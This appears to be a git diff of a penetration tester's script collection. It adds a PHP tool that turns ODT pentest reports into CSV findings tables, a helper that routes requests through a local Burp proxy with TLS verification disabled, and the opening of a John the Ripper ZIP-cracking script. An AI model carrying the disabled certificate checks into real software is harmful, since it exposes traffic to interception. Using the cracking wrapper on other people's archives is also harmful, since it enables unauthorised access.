+ $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; 